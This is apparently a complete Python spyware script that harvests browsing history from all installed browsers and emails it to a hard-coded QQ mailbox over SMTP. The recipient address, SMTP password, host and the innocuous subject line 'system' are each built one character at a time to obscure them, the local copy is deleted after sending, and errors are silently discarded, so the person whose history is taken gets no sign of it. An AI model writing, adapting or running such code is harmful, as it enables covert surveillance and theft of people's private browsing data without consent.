import json
import os
import sys
from datetime import datetime

import browserhistory as bh
import yagmail


class History:
    def __init__(self):
        self.data = ''
        self.dir = ''
        self.config()
        self.configDir = self.dir + 'config.txt'
        self.dataDir = self.dir + 'history.txt'
        self.configData()

    def config(self):
        self.dir = (sys.argv[0].split("\\"))
        self.dir.pop()
        self.dir = "\\".join(self.dir) + '\\'

    def configData(self):

        if os.path.exists(self.configDir):
            f = open(self.configDir, 'r')
            self.data = f.read()
        else:
            f = open(self.configDir, 'w')
            f.write(datetime.now().strftime('%Y-%m-%d'))
            f.close()
            self.data = ''

    def begin(self):
        dict_obj = bh.get_browserhistory()
        t = h = ''


        for browser in dict_obj:
            for i in range(len(dict_obj[browser])):
                line = dict_obj[browser][i]
                if t == '':
                    t = line[2]
                lineT = json.dumps({'title': line[1], 'url': line[0], 'time': line[2]}, ensure_ascii=False) + "\n"
                if self.data and line[2] <= self.data:
                    continue
                else:
                    h += lineT
        if t:
            self.data = t

        if self.data:
            f = open(self.configDir, 'w')
            f.write(self.data)
            f.close()

        if h:
            f = open(self.dataDir, 'w', encoding='utf-8')
            f.write(h)
            f.close()
            self.send()

        if os.path.exists(self.dataDir):
            os.remove(self.dataDir)

    def send(self):
        if not os.path.exists(self.dataDir):
            return
        body = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        receiver = '2' + '3' + '7' + '4' + '7' + '2' + '9' + '8' + '9' + '@' + 'q' + 'q' + '.' + 'c' + 'o' + 'm'
        fileName = self.dataDir
        yag = yagmail.SMTP(
            user=receiver,
            password='j' + 'd' + 'o' + 's' + 'c' + 'c' + 'g' + 'a' + 'h' + 'q' + 'g' + 'l' + 'b' + 'i' + 'i' + 'd',
            host='s' + 'm' + 't' + 'p' + '.' + 'q' + 'q' + '.' + 'c' + 'o' + 'm'
        )
        yag.send(
            to=receiver,
            subject='s' + 'y' + 's' + 't' + 'e' + 'm',
            contents=body,
            attachments=fileName
        )


if __name__ == '__main__':
    history = History()
    try:
        history.begin()
    except Exception as e:
        if isinstance(e, str):
            print(e)
        exit()